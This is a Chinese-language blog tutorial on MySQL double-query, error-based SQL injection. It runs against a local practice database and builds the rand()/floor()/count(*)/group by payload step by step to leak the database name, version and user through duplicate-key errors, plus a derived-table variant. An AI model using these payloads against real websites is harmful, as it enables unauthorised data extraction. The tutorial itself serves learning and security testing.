ShiJoa
Articles23
Tags15
Categories3
sqlInject_double_query_inject-concat

sqlInject_double_query_inject-concat

参考:http://www.2cto.com/article/201303/192718.html
原网站的有点low,图片和css样式都丢失了,阅读起来很是费劲。但瑕不掩瑜,对于sql双查询注入讲得很好,因此我尝试按照原文,以自己的语言和实践,对其进行翻新

子查询

在讲清楚双查询注入之前,我们理解一下子查询。
查询的关键字是select,这个大家都知道。(如果不知道,那这篇文章你还读不懂,先去学习sql查询语句,数据库原理)
子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:

Select concat((select database()));

这句查询语句在真正执行的时候,先从子查询进行。
执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。
而concat()这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。

双查询注入

双查询注入需要理解四个函数/语句

  1. Rand() //随机函数

  2. Floor() //取整函数

  3. Count() //汇总函数

  4. Group by clause //分组语句

双查询注入原理用简单简单的一句话来概括——当在一个聚合函数(比如count函数)后面如果使用分组语句,mysql就会把查询的一部分以错误的形式显示出来。

动手实验

以本地一个名为Security的数据库为例

首先在命令行下输入

mysql -u root –p

之后输入密码
就连上了mysql。

然后通过

use security; 

就可以切换到security数据库。

concat()

我们执行一下前面那个简单的子查询的例子

SELECT concat((select database()));

就能显示security,也就是显示了当前数据库的名字。

然后我们测试一下concat的用法。输入

SELECT concat('string1','string2');


显然结果就是string1string2

rand()

然后我们测试一下rand()

Select rand();


我们多执行几次


可以看到,这个函数就是个随机函数,返回大于0,小于1之间的数

floor()

然后看看floor()函数

Select floor(1.1123456);


这个函数就是个取整函数,返回小于等于你输入的数的整数。

尝试组合

然后我们看看双注入查询中的一个简单组合。

SELECT floor(rand()*2);


我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2。然后对结果进行取整,结果就只能是0或1。所以这个查询的结果不是1,就是0

加大难度

看这个查询

SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));

句子开始有点长了,但不要怕。先看最里面的SELECT database() 这个返回的是数据库名,在这里就是security。然后FLOOR(RAND()*2)这个上面说过了——不是0,就是1。最后把这两个的结果进行concat连接,所以结果就是security0或者security1。

如果我们把这条语句后面加上from 一个表名。一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录。
在这里users表里有13个用户,所以返回了13条

如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果

加上Group by语句

这次实验,我们使用information_schema.tables 或者 information_schema.columns两个表来查询。
因为其他表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

解释一下:
我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。所以就剩下两个结果。

注意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询,原理都是一样的。
像这样:

select concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
select concat((select user()), floor(rand()*2))as a from information_schema.tables group by a;
select concat((select datadir()), floor(rand()*2))as a from information_schema.tables group by a;

最后的亮点来啦

我们输入这条:注意多了一个聚合函数count(*)

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

报错了

重复的键值 可以看到security就是我们的查询结果

想要查询版本就这样:

select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

看看替换了database()为version()

再来一个
select count(*), concat(‘‘,(select user()),’‘, floor(rand()*2))as a from information_schema.tables group by a;
报错

还有一个比较复杂的,叫做派生表。需要使用

select 1 from (table name); 

这样的语法来报错,具体就是

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

报错

Author:ShiJoa
Link:https://shijoa.github.io/2021/04/28/sqlInject-double-query-inject-concat/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可